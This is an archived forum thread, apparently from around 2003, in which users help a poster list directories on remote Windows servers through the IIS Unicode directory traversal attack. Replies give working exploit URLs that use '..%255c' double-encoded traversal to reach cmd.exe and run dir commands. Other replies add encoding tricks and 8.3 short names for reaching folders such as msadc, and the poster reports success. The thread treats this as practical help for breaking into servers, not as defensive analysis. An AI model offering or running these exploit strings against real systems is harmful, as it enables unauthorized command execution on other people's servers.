Full Version: Accessing Directories
studnikov
Ive never really had to deal with going into directories with spaces in using iis unicode, But ive run into a snag. I cant access folders or directories with spaces ( Program Files etc )

EX: Directory of c:\Program Files\Common Files\System\msadc
ive added %20 between the spaces > Program%20Files

Always says it cant find the directory. Any help would rock. thanks alot.
dissolutions
As said before you could hex the entire statement...
such as http://%77%77%77%2e%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%65%61%72%63%68%3f%68%6c%3d%65%6e%26%6c%72%3d%26%69%65%3d%49%53%4f%2d%38%38%35%39%2d%31%26%71%3d%63%25%33%41%25%35%43%70%72%6f%67%72%61%6d%2b%66%69%6c%65%73%25%35%43%69%6e%74%65%72%6e%65%74%2b%65%78%70%6c%6f%72%65%72/ will take you to : http://www.google.com/search?hl=en&lr=&ie=...ternet+explorer or you can try the + in this link just noticed it myself tongue.gif
hcoca
QUOTE (studnikov @ Oct 13 2003, 01:23 AM)
)

EX: Directory of c:\Program Files\Common Files\System\msadc

c:\Program+Files\Common+Files\System\msadc


got it
wink.gif
studnikov
for some reason either of the 2 suggestions didnt work for me.
f4u2t
studnikov,
just try /c+dir+"c:\Program Files\Common Files\System\msadc"
onlinepass
hey people

do u people know that you can use the DOS naming format ie 8.3 format

while doing the directory search use the command

dir/x



example

http://IP ADDRESS/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir/x+c:\

i have used it..a lot of times


cps
try
c:\progra~1\
studnikov
Thanks for all the replies guys ... i finally got it to work smile.gif
manu
Ok u got, but how, please remember to post how u got it right, that will help others too.. Take care please

Manu biggrin.gif
yeyo
I use the -> "(dir)"<- option ...

/c+dir+"c:\Program Files\Common Files\System\msadc"

and it work biggrin.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.